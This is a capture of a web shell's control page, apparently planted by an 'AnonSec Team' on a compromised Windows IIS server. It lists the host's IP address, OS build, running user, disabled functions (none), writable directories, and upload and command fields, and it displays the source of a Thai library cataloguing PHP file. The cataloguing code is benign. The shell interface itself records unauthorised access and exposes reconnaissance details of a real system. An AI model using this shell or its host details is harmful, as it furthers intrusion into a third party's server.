DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/ULIB/_misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/ULIB/_misc/thaicutter.php.bak
<?
include("../inc/config.inc.php");
html_start();

$az=explode(',',$_STR_A_Zth);
sort($az);
$azalphab=getval('global',"STR_A_Zthalpha");
$azalphab=explode(',',$azalphab);
sort($azalphab);

$recparentval=dspmarc($recparentval);
$recparentval=urldecode($recparentval);
$recparentval=trim($recparentval);
$recparentval=strtolower($recparentval);
$recparentval=str_remspecialsign($recparentval);
$recparentval=str_replace(' ','',$recparentval);

if ($recparentval!="" && strlen($recparentval)>=3) {
	$recparentval2="";
	for ($i=0;$i<=strlen($recparentval);$i++) {
		if (in_array($recparentval[$i],$az)) {
			$recparentval2.=$recparentval[$i];
		}
	}
	//echo "[$recparentval2]";
} 
if ($recparentval2=="" || strlen($recparentval2)<3) {
	html_dialog("","กรุณากรอกข้อความยาวกว่า 3 ตัวอักษร::l::Please enter 3 character or more");
	die;
}
	//echo "[$recparentval2]";
$thalpha="";
for ($i=0;$i<=strlen($recparentval2);$i++) {
	if (in_array($recparentval2[$i],$azalphab)) {
		$thalpha.=$recparentval2[$i];
	}
}

	//echo "[$thalpha]";

if ($thalpha=="") {
	html_dialog("","กรุณากรอกชื่อผู้แต่งด้วย::l::Please enter Author name");
	die;
}

$a1stdigit=substr($thalpha,0,1);
$remove1stchar=explode($a1stdigit,$recparentval2,2);;
$remove1stchar=implode('',$remove1stchar);


$word=$remove1stchar;
$s=tmq("select * from keyhelp_thauthname order by ordr");
while ($r=tmq_fetch_array($s)) {
	//echo "-[อ$r[search1]--$r[replace1]]<BR>";
	$word=ereg_replace("$r[search1]", "$r[replace1]", $word);
}
//echo "[$remove1stchar/$a1stdigit/$word]";


/*
for ($i=10;$i<=255;$i++) {
	echo chr($i).',';
}*/
?><BR><TABLE width=500 class=table_border align=center>
<FORM METHOD=POST ACTION="">
	<TR valign=middle>
	<TD  class=table_head width=180><? echo getlang("เลขผู้แต่ง::l::Thai Author No.");?></TD>
	<TD  class=table_td align=center><input style="font-size: 26; height: 40; text-align: center; width: 150" onfocus="this.select();"  onmouseup="this.select()" onclick="this.select(); " value="<? echo $a1stdigit.substr($word,0,2);?>"></TD>
	<TD width=50><nobr><B onclick="localfillthis_dc('<? echo $a1stdigit.substr($word,0,2);?>');" ><img src="../neoimg/uptod.png" border=0 width=18 height=18></B><B style="display:inline;" onclick="localfillthis_lc('<? echo $a1stdigit.substr($word,0,2);?>');" ><img src="../neoimg/uptol.png" border=0 width=18 height=18></B></nobr><BR>
	<B style="display:block;padding-top:3;" onclick="localfillthis_localc('<? echo $a1stdigit.substr($word,0,2);?>');" ><img src="../neoimg/upto9.png" border=0 width=18 height=18></B>
	</TD></TR>
<TR valign=middle>
	<TD  class=table_head><? echo getlang("กรณีเป็นอักษรย่อ::l::Abrief. No.");?></TD>
	<TD  class=table_td align=center><input style="font-size: 26; height: 40; text-align: center; width: 150" onmouseup="this.select()" onfocus="this.select();" onclick="this.select();" value="<? echo $a1stdigit."1".substr($word,0,1);?>"></TD>
	<TD><B onclick="localfillthis_dc('<? echo $a1stdigit."1".substr($word,0,1);?>');" ><img src="../neoimg/uptod.png" border=0 width=18 height=18></B><B style="display:inline;" onclick="localfillthis_lc('<? echo $a1stdigit."1".substr($word,0,1);?>');" ><img src="../neoimg/uptol.png" border=0 width=18 height=18><BR>
	<B style="display:block;padding-top:3;" onclick="localfillthis_localc('<? echo $a1stdigit."1".substr($word,0,1);?>');" ><img src="../neoimg/upto9.png" border=0 width=18 height=18></B>
	</TD>
</TR>
</FORM>
</TABLE><SCRIPT LANGUAGE="JavaScript">
<!--
function localfillthis_dc(wh) {
	parent.addtodcnum(wh);
}
function localfillthis_lc(wh) {
	parent.addtolcnum(wh);
}
function localfillthis_localc(wh) {
	parent.addtolocalcnum(wh);
}
//-->
</SCRIPT>

Anon7 - 2022
AnonSec Team